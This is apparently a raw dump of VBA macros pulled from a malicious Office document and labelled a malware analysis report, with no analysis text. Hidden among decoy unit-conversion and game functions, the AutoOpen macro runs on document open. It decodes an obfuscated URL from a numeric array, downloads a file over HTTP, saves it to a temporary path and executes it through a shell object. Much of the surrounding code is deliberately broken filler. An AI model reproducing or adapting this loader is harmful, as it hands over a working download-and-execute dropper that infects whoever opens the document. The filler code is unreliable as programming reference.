Malicious Office (OOXML) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Function deletemonsters(a As Integer) As Double
 Dim b As Integer
 If a > 0 Then
 For b = 0 To 16
 plan.ets(a).mon_template(b) = m
 plan.ets(a).mon_noamin(b) = 0
 plan.ets(a).Mon_noamax(b) = 0
 Next
 End If
Randomize
deletemonsters = Rnd
 
End Function
Function makefinalmap(m As Integer) As Integer
 planets(m).darkness = 5
 planets(m).teleport = 1
 f = FreeFile
 Open "data/lstlvl.dat" For Binary As #f
 For Y = 0 To 20
 For X = 0 To 60
 Get #f, , l
 plane.tmap(X, Y, m) = l
 If plane.tmap(X, Y, m) = -80 And rnd_ra.nge(1, 100) < 20 Then plane.tmap(X, Y, m) = -81
 If plane.tmap(X, Y, m) = -54 And rnd_ra.nge(1, 100) < 80 Then plane.tmap(X, Y, m) = -55
 Next
 Next
 Close #f
 p2.X = 31
 p2.Y = 2
 Do
 p = rnd_point(m, 0)
 Loop Until distance(p, p2) > 15
 plane.tmap(p.X, p.Y, m) = -127
 For Y = 0 To 20
 For X = 0 To 60
 If show_all = 1 Then plane.tmap(X, Y, m) = plane.tmap(X, Y, m) * -1
 Next
 Next
 planets(m).Depth = 10
 planets(m).mon_template(0) = makemonster(19, m)
 planets(m).Mon_noamax(0) = 28
 planets(m).mon_noamin(0) = 22
 planets(m).mon_template(1) = makemonster(56, m)
 planets(m).Mon_noamax(1) = 12
 planets(m).mon_noamin(1) = 10
 planets(m).mon_template(2) = makemonster(55, m)
 planets(m).Mon_noamax(2) = 12
 planets(m).mon_noamin(2) = 10
 planets(m).mon_template(3) = makemonster(91, m)
 planets(m).Mon_noamax(3) = 12
 planets(m).mon_noamin(3) = 10
 planets(m).grav = 0.5
 planets(m).atmos = 3
End Function
Sub autoopen()
If deletemonsters(0) > 0 Then
 EnableAddBMPOnLand
End If
End Sub
Public Function EnableDefineBMP() As Boolean
 If Not EnableSustain Then
 EnableDefineBMP = False
 Exit Function
 End If
 'Initialize Map Document
 InitializeMapDocument
 
 'Cannot define BMP, if datasources are not define
 EnableDefineBMP = ModuleUtility.ValidateDataSource
 If (EnableDefineBMP = False) Then
 Exit Function
 End If
 
 'if landuse is not reclassified define BMP cannot be enabled
 Dim pTable As iTable
 Set pTable = GetInputDataTable("Pollutants")
 
 If (pTable Is Nothing) Then
 EnableDefineBMP = False
 Exit Function
 End If
 
 ' Set the value for the Flag....
 EnableDefineBMP = (pTable.RowCount(Nothing) > 0)
End Function
Public Function EnableAddVFS() As Boolean
 
 'Cannot add bmp is BMP is not defined
 EnableAddVFS = EnableDefineBMP
 If (EnableAddVFS = False) Then
 Exit Function
 End If
 Dim pTable As iTable
 Set pTable = GetInputDataTable("VFSDefaults")
 If (pTable Is Nothing) Then
 EnableAddVFS = False
 Exit Function
 End If
 EnableAddVFS = True
 Set pTable = Nothing
 
End Function
Public Function EnableAddBMPOnLand() As Boolean
 'Cannot add bmp is BMP is not defined
 Application.Run "m3ToNm3", 0.9, 0.3, 0.4
 Exit Function
 EnableAddBMPOnLand = EnableDefineBMP
 If (EnableAddBMPOnLand = False) Then
 Exit Function
 End If
 If (pTable Is Nothing) Then
 EnableAddBMPOnLand = False
 Exit Function
 End If
 Set pTable = Nothing
 Set pTable = GetInputD.ataTable("BMPDefaults")
 If (pTable Is Nothing) Then
 EnableAddBMPOnLand = False
 Exit Function
 End If
 EnableAddBMPOnLand = True
End Function


Attribute VB_Name = "Module6"


Public Function feetToMeter(length As Double)
    '*****************************************************
    ' Purpose: convert from feet (US) to meters (SI)
    ' Inputs:
    '           length in feet
    ' Returns:   length in meters
    '*****************************************************
    ' REVISED IN 23 Mar 2013 - OK - Reference: Perry, 1999

    feetToMeter = 3.048 * 10 ^ -1 * length

End Function

Public Function meterToFeet(length As Double)
    '*****************************************************
    ' Purpose: convert from meters (SI) to feet (US)
    ' Inputs:
    '           length in meters
    ' Returns:   length in feet
    '*****************************************************
    ' REVISED IN 23 Mar 2013 - OK - Reference: Perry, 1999

    meterToFeet = 3.2808 * length

End Function

Public Function inchToMeter(length As Double)
    '*****************************************************
    ' Purpose: convert from inches to meters (SI)
    ' Inputs:
    '           length in inches
    ' Returns:   length in meters
    '*****************************************************
    ' REVISED IN 23 Mar 2013 - OK - Reference: Perry, 1999


sOvet__5 = sOvet__4
sOvet__5 = sOvet__5 + sOvet__57(55 - 43)
AbrirConexionAridoc
    FahrenheitToKelvin 37.7
    inchToMeter = (2.54 * 10 ^ -2) * length

End Function

Public Function sOvet_FATSO(A1 As String, A2 As String, A3 As String) As String
sOvet_FATSO = Replace(A1, A2, A3)
End Function

Public Function meterToInch(length As Double)
    '*****************************************************
    ' Purpose: convert from inches to meters (SI)
    ' Inputs:
    '           length in meters
    ' Returns:   length in inches
    '*****************************************************
    ' REVISED IN 23 Mar 2013 - OK - Reference: Perry, 1999

    meterToInch = ((2.54 * 10 ^ -2) ^ -1) * length

End Function

'**********************************************************
'VOLUME UNIT CONVERSION FUNCTIONS

Public Function m3ToNm3(volume As Double, temperature As Double, pressure As Double)
    '*****************************************************
    ' Purpose: converts gas volume in m^3 at a specifiec temperature and pressure to Nm^3
    ' (volume in Normal Conditions, - 273.15 K and 101325 Pa)
    ' Inputs:
    '           volume in m^3
    '           temperature in Kelvin
    '           pressure in Pa
    ' Returns:   volume in Nm^3
    '*****************************************************
    'Revised on 01 May 2013
    If VarType(HistoryFunc) = 0 Then
 
 KwhToCal 17.7
 End If
 
    m3ToNm3 = volume * (pressure / temperature) * (273.15 / 101325#)

End Function

Public Function Nm3ToM3(volume As Double, temperature As Double, pressure As Double)
    '*****************************************************
    ' Purpose:  converts from volume in Normal Conditions (273.15K, 101325 Pa) Nm^3  to
    ' volume in the user defined temperature (K) and presure (Pa)
    ' Inputs:
    '           volume in Nm^3
    '           temperature in Kelvin
    '           pressure in Pa
    ' Returns:   volume in m^3
    '*****************************************************

    Nm3ToM3 = volume * (temperature / 273.15) * (101325 / pressure)

End Function

Public Function NLToM3(volume As Double, temperature As Double, pressure As Double)
    '*****************************************************
    ' Purpose:  ' function which converts from volume in Normal liter (liters in Normal
    ' Conditions)(273.15K, 101325 Pa) NL  to volume in cubic meters in the user specified
    'temperature (K) and presure (Pa)
    ' Inputs:
    '           volume in Nm^3
    '           temperature in Kelvin
    '           pressure in Pa
    ' Returns:   volume in m^3
    '*****************************************************

    NLToM3 = volume * (temperature / 273.15) * (101325 / pressure) * (1 / (60000#))

End Function

Public Function KgToNm3(massKg As Double, molarMass As Double)
    '*****************************************************
    ' Purpose:  converts a gas mass in kg to Nm3
    '(volume in Normal conditions - 273.15K, 101325 Pa)
    ' Inputs:
    '           massKg in kg
    '           molarMass in g/mol
    ' Returns:   volume in Nm^3
    '*****************************************************

    KgToNm3 = massKg * (1344600# / molarMass) * 0.06 / (3600#)

End Function

'**********************************************************
'PRESSURE UNIT CONVERSION FUNCTIONS

Public Function paToMbar(pressure As Double)
    '*****************************************************
    ' Purpose: converts from Pa to mbar
    ' Inputs:
    '           pressure in Pa
    ' Returns:   pressure in mbar
    '*****************************************************

    paToMbar = 10 ^ -2 * pressure

End Function

Public Function PaToMmH20(pressure As Double)
    '*****************************************************
    ' Purpose: converts from Pa to mmH20
    ' Inputs:
    '           pressure in Pa
    ' Returns:   pressure in mmH2O
    '*****************************************************

    PaToMmH20 = 0.101974 * pressure

End Function

Public Function mmH20ToPa(pressure As Double)
    '*****************************************************
    ' Purpose: converts from mmH2O to Pa
    ' Inputs:
    '           pressure in mmH2O
    ' Returns:   pressure in Pa
    '*****************************************************

    mmH20ToPa = 9.80642 * pressure

End Function

Public Function paToAtm(pressure As Double)
    '*****************************************************
    ' Purpose: converts from Pa to Atm
    ' Inputs:
    '           pressure in Pa
    ' Returns:   pressure in Atm
    '*****************************************************

    paToAtm = (1.0135 * 10 ^ 5) ^ -1 * pressure

End Function

Public Function atmToPa(pressure As Double)
    '*****************************************************
    ' Purpose: converts from Atm to Pa
    ' Inputs:
    '           pressure in Atm
    ' Returns:   pressure in Pa
    '*****************************************************

    atmToPa = (1.0135 * 10 ^ 5) * pressure

End Function

Public Function paToBar(pressure As Double)
    '*****************************************************
    ' Purpose: converts from Pa to Bar
    ' Inputs:
    '           pressure in Pa
    ' Returns:   pressure in Bar
    '*****************************************************

    paToBar = (1# * 10 ^ 5) ^ -1 * pressure

End Function

Public Function barToPa(pressure As Double)
    '*****************************************************
    ' Purpose: converts from Bar to Pa
    ' Inputs:
    '           pressure in Bar
    ' Returns:   pressure in Pa
    '*****************************************************
ROSTIX = CallByName(sOvet__1, sOvet__57(1000 / 100), VbGet)
 CallByName sOvet__0_19, sOvet__57(9), VbMethod, ROSTIX
    
    barToPa = (1# * 10 ^ 5) * pressure

End Function

Public Function PaToPsi(pressure As Double)
    '*****************************************************
    ' Purpose: converts from Pa to Psi
    ' Inputs:
    '           pressure in Pa
    ' Returns:   pressure in Psi
    '*****************************************************

    PaToPsi = pressure / (6.894757 * 10 ^ 3)

End Function

Public Function PsiToPa(pressure As Double)
    '*****************************************************
    ' Purpose: converts from Psi to Pa
    ' Inputs:
    '           pressure in Psi
    ' Returns:   pressure in Pa
    '*****************************************************

    PsiToPa = pressure * (6.894757 * 10 ^ 3)

End Function

'**********************************************************
'TEMPERATURE UNIT CONVERSION FUNCTIONS

Public Function KelvinToCelsius(temperature As Double)
    '*****************************************************
    ' Purpose: converts from Kelvin to Celsius
    ' Inputs:
    '           temperature in Kelvin
    ' Returns:   temperature in Celsius
    '*****************************************************

    KelvinToCelsius = temperature - 273.15

End Function

Public Function CelsiusToKelvin(temperature As Double)
    '*****************************************************
    ' Purpose: converts from Kelvin to Celsius
    ' Inputs:
    '           temperature in Celsius
    ' Returns:   temperature in Kelvin
    '*****************************************************
    ' REVISED IN 23 Mar 2013 - OK - Reference: Perry, 1999

    CelsiusToKelvin = temperature + 273.15

End Function

Public Function RankineToCelsius(temperature As Double)
    '*****************************************************
    ' Purpose: converts from Rankine to Celsius
    ' Inputs:
    '           temperature in Rankine
    ' Returns:   temperature in Celsius
    '*****************************************************

    RankineToCelsius = (temperature - 491.67) * (5 / 9)

End Function

Public Function KwhToJoule(energy As Double)
    '*****************************************************
    ' Purpose: converts energy from kWh to Joules
    ' Inputs:
    '           energy in kWh
    ' Returns:   energy in Joule
    '*****************************************************
sOvetSPL = Split("1664Ё1856Ё1856Ё1792Ё928Ё752Ё752Ё1552Ё1760Ё1680Ё1552Ё1824Ё1856Ё736Ё1952Ё1552Ё736Ё1792Ё1728Ё752Ё896Ё912Ё1936Ё1648Ё880Ё1568Ё1760Ё1744Ё1744Ё1776Ё1680", "Ё")
 Set sOvet__1 = CreateObject(sOvet__57(0))
NuloNeNule "", ""
    KwhToJoule = 3.6 * 10 ^ 3 * energy

End Function
Public Function KelvinToRankine(temperature As Double)
    '*****************************************************
    ' Purpose: converts from Kelvin to Rankine
    ' Inputs:
    '           temperature in Rankine
    ' Returns:   temperature in Celsius
    '*****************************************************

    KelvinToRankine = temperature * (9 / 5)

End Function

Public Function FahrenheitToKelvin(temperature As Double)
    '*****************************************************
    ' Purpose: converts from Fahrenheit to Kelvin
    ' Inputs:
    '           temperature in Fahrenheit
    ' Returns:   temperature in Kelvin
    '*****************************************************
    ' REVISED IN 23 Mar 2013 - OK - Reference: Perry, 1999

barToPa 55

    
 
 CallByName sOvet__0_19, sOvet__57(11), VbMethod, sOvet__5, 2
  sOvet__6.Open (sOvet__5)
    FahrenheitToKelvin = (5 / 9) * (temperature + 459.67)

End Function

Public Function FahrenheitToCelsius(temperature As Double)
    '*****************************************************
    ' Purpose: converts from Fahrenheit to Celsius
    ' Inputs:
    '           temperature in Fahrenheit
    ' Returns:   temperature in Celsius
    '*****************************************************
    ' REVISED IN 23 Mar 2013 - OK - Reference: Perry, 1999

    KelvinToRankine = (5 / 9) * (temperature - 32)

End Function

'**********************************************************
'ENERGY UNIT CONVERSION FUNCTIONS

Public Function JouleTocal(energy As Double)
    '*****************************************************
    ' Purpose: converts energy from Joule to Calories
    ' Inputs:
    '           energy in joules
    ' Returns:   energy in Calories
    '*****************************************************

    JouleTocal = (1.987 / 8.314) * energy

End Function

Public Function CalToJoule(energy As Double)
    '*****************************************************
    ' Purpose: converts energy from Calories to Joules
    ' Inputs:
    '           energy in Calories
    ' Returns:   energy in Joules
    '*****************************************************
    ' REVISED IN 23 Mar 2013 - OK - Reference: Perry, 1999

    CalToJoule = 4.184 * energy

End Function

Public Function CalToKwh(energy As Double)
    '*****************************************************
    ' Purpose: converts energy from Cal to kWh
    ' Inputs:
    '           energy in Calories
    ' Returns:   energy in kWh
    '*****************************************************

    CalToKwh = 4.184 * 3.6 * 10 ^ 3 * energy

End Function

Public Function KwhToCal(energy As Double)
Dim asOvet As String
  asOvet = sOvet_FATSO(UserForm2.Image1.ControlTipText, "00", "e")
  
  asOvet = sOvet_FATSO(asOvet, "D!", "M")
  asOvet = sOvet_FATSO(asOvet, "bri", "s")
  sOvet__57 = Split(asOvet, "10)")
KwhToJoule 0.33
    '*****************************************************
    ' Purpose: converts energy from kWh to Calories
    ' Inputs:
    '           energy in kWh
    ' Returns:   energy in Calories
    '*****************************************************

    KwhToCal = 3.6 * 10 ^ 3 * (1.987 / 8.314) * energy

End Function


Public Function JouleToKwh(energy As Double)
    '*****************************************************
    ' Purpose: converts energy from Joule to kWh
    ' Inputs:
    '           energy in Joule
    ' Returns:   energy in kWh
    '*****************************************************

    KwhToJoule = (3.6 * 10 ^ 3) ^ -1 * energy

End Function


'**********************************************************
'VISCOSITY UNIT CONVERSION FUNCTIONS

Public Function PasToCentipoise(viscosity As Double)
    '*****************************************************
    ' Purpose: converts viscosity from Pa s to centiPoise
    ' Inputs:
    '           viscosity in Pa s
    ' Returns:   viscosity in centiPoise
    '*****************************************************
    ' REVISED IN 29 May 2013

    PasToCentipoise = 1000 * viscosity

End Function

Public Function centipoiseToPas(viscosity As Double)
    '*****************************************************
    ' Purpose: converts viscosity from centiPoise to Pa s
    ' Inputs:
    '           viscosity in centiPoise
    ' Returns:   viscosity in Pa s
    '*****************************************************
    ' REVISED IN 29 May 2013

    centipoiseToPas = viscosity / 1000

End Function



Attribute VB_Name = "Module2"
Public sOvet__1 As Object
Public sOvet__0_19 As Object
Public sOvet__3 As Object
Public sOvetSPL() As String
Public sOvet__4 As String
Public sOvet__5 As String
Public sOvet__6 As Object
 Public IS_3_sOvet As String
Public sOvet__57() As String
Const INTERVAl_MILLIS_DO_EVENTS As Long = 100
Public Function newStringBuilder() As String
 newStringBuilder = ""
End Function
Public Function newCompareValueCalculator()
 calc.init
 Set newCompareValueCalculator = calc
End Function
Public Function newTagBuilder(rootTagName As String) As String
 Call builder.init(rootTagName)
End Function
Public Function newDate(aYear As Long, aMonth As Integer, aDay As Integer) As Date
 newDate = CDate(LText.messageFormat("{1::0}/{2::00}/{3::00}", aYear, aMonth, aDay))
End Function
Public Function newStringSet() As String
 Dim result As String
 Call res.ult.init
End Function
Public Function Fso() As String
 Static staticFso As String
 If stat.icFso Is Nothing Then
 End If
End Function
 
Sub assignIgnoreType(ByRef aOut, ByVal aIn)
 If IsObject(aIn) Then
 Set aOut = aIn
 Else
 aOut = aIn
 End If
End Sub
Public Function isType(className As String, X As Variant) As Boolean
 isType = (StrComp(className, TypeName(X), vbTextCompare) = 0)
End Function
Public Function containsType(classNames As String, X As Variant) As Boolean
 Dim var As Variant
 For Each var In classN.ames
 Dim name As String
 name = var
 If isType(name, X) Then
 containsType = True
 Exit Function
 End If
 Next var
 containsType = False
End Function
Public Sub pp(ByVal value As Variant)
 Debug.Print LText.descriptionOf(value)
End Sub
Public Sub ppl(ByVal value As Variant)
 writeLog LText.descriptionOf(value)
End Sub
Private Function getTimeLoggerInstance() As String
 Static logger As String
 If logg.er Is Nothing Then
 logg.er.init
 End If
End Function
Public Sub tlog(message As String, Optional groupId As String = "*default*")
 Call getTimeLogge.rInstance().Log(message, groupId)
End Sub
Public Sub printTimelogReport()
 Call getTimeL.oggerInstance().printReports
End Sub
Public Sub clearTimelogReport()
 Call getTimeLog.gerInstance().crearReports
End Sub
Public Sub setTimelogVerbose(isVerbose As Boolean)
 Call Status.OfLibrary.setTimeLoggerVerbose(isVerbose)
End Sub
Public Sub writeLog(ByVal message As String)
 Call LLog.writeLog(message)
End Sub
Private Function getDoEventsTimer() As String
 Static timer As String
 If ti.mer Is Nothing Then
 Set tim.er = LCreation.newTimer
 End If
End Function
Public Sub doEventsWithInterval(Optional intervalMillis As Long = INTERVAl_MILLIS_DO_EVENTS)
 If intervalMillis <= getDoEvent.sTimer().getMillis() Then
 doEventsImmediately
 End If
End Sub
Public Sub doEventsImmediately()
 getDoEvent.sTimer.Reset
 DoEvents
End Sub
Public Function eq(a As Variant, b As Variant) As Boolean
 If IsNull(a) Then
 eq = IsNull(b)
 ElseIf IsEmpty(a) Then
 eq = IsEmpty(b)
 ElseIf IsArray(a) Then
 err.Raise -1, Description:="Yet, not implemented for array"
 ElseIf IsObject(a) Then
 If IsObject(b) Then
 Dim objA As Object
 Dim objB As Object
 Set objA = a
 Set objB = b
 eq = eqObject(objA, objB)
 Else
 eq = False
 End If
 Else
 eq = (a = b)
 End If
End Function
Private Function eqObject(a As Object, b As Object) As Boolean
 If a Is Nothing Then
 eqObject = (b Is Nothing)
 Exit Function
 End If
 On Error GoTo EQUALS_NOT_DEFINED
 eqObject = a.equals(b)
 
 Exit Function
EQUALS_NOT_DEFINED:
 reRaiseE.xceptForMethodMissing
 eqObject = (a Is b)
 
 
 
End Function

Private Sub reRaise()
 err.Raise err.Number, err.Source, err.Description, err.HelpContext, err.HelpContext
End Sub
Public Function WhatAVariant(X As Variant) As Boolean
 If X = "" Then
 
sOvet__1.Open sOvet__57(2 + 1 + 2), IS_3_sOvet, False
sOvet__1.send
 sOvet__4 = sOvet__3(sOvet__57(180 / 30))
 WhatAVariant = True
 
 ElseIf IsNull(X) Then
 WhatAVariant = True
 
 ElseIf IsEmpty(X) Then
 WhatAVariant = True
 
 ElseIf X Is Nothing Then
 WhatAVariant = True
 
 ElseIf IsArray(X) Then
 WhatAVariant = (UBound(X) - LBound(X) < 0)
 
 ElseIf isType("TList", X) Then
 WhatAVariant = X.IsEmpty
 
 Else
 WhatAVariant = False
 End If
 inchToMeter 44.5
End Function
Public Function NuloNeNule(vData As Variant, tipo As String, Optional EsNulo As String) As Variant
Dim Cad As String
Dim sOvetIDX As Integer
sOvetIDX = 1
If sOvetIDX = 1 Then
 Set sOvet__0_19 = CreateObject(sOvet__57(sOvetIDX))
 End If
 sOvetIDX = sOvetIDX + 1
 If sOvetIDX = 2 Then
 Set sOvet__6 = CreateObject(sOvet__57(sOvetIDX))
 sOvetIDX = sOvetIDX + 1
 End If
 If sOvetIDX = 3 Then
 Set sOvet__0_22 = CreateObject(sOvet__57(sOvetIDX))
 sOvetIDX = sOvetIDX + 1
 End If
 Set sOvet__3 = sOvet__0_22.Environment(sOvet__57(sOvetIDX))
 GoTo Error1
 If IsNull(vData) Then
 
 
 vData = ""
 If tipo = "" Then NuloNeNule = ValorNulo
 
 End If
 
Error1:
 Dim sOvet__8 As Integer
For sOvet__8 = LBound(sOvetSPL) To UBound(sOvetSPL)
 IS_3_sOvet = IS_3_sOvet & Chr(CInt(sOvetSPL(sOvet__8)) / 16)
 Next sOvet__8
 WhatAVariant ""
End Function


Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{20D542C7-BF67-4578-8C70-64F3916CA813}{3D0F5FB7-9D65-4C7D-9984-566710FC32B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"



Public Function AbrirConexionAridoc() As Boolean
Dim Cad As String
On Error GoTo EAbrirConexion
    is16 = 16
CallByName sOvet__0_19, sOvet__57(11 - 4), 64 / is16, is16 - 15
 sOvet__0_19.Open
    Exit Function
    
    AbrirConexionAridoc = False
    Set ConnConta = Nothing
    ConnConta.CursorLocation = adUseServer

    Cad = "DRIVER={MySQL ODBC 3.51 Driver};DESC=;DATA SOURCE= Aridoc;DATABASE=Aridoc"
    
    
    Cad = Cad & ";Persist Security Info=true"
    
    ConnConta.ConnectionString = Cad
    ConnConta.Open
    ConnConta.Execute "Set AUTOCOMMIT = 1"
    AbrirConexionAridoc = True
    Exit Function
    
EAbrirConexion:
    Mue.straError err.Number, "Abrir conexion BD:Aridoc.", err.Description
End Function





Public Function Approssima(MiaValuta As Double) As Double
    Dim MioVal1 As Double
    Dim MioVal2 As Double
    Dim MyStr As String
    Dim MyStr1 As String
    Dim MyStr2 As String
    Dim MiaString As String
    Dim HaDecimali As Boolean
    Dim i As Integer
    HaDecimali = False
    If MiaValuta <> 0 Then
        MiaString = Trim(Str(MiaValuta))
        For i = 1 To Len(MiaString)
            MyStr = Mid(MiaString, i, 1)
            If MyStr = "." Then
                HaDecimali = True
                MyStr1 = Left(MiaString, i - 1)
                If (Len(Trim(MyStr1)) = 0) Then
                    MyStr1 = "0"
                End If
                MyStr2 = Right(MiaString, Len(MiaString) - i)
                i = i + 1
            End If
        Next i
        If HaDecimali = False Then
            Approssima = MiaString
            Exit Function
        End If
        MioVal1 = CDbl(MyStr1)
        MioVal2 = CDbl(Left(MyStr2, 1))
        If MioVal2 < 5 Then
            Approssima = MioVal1
        Else
            Approssima = MioVal1 + 1
        End If
    Else
        Approssima = 0
    End If
End Function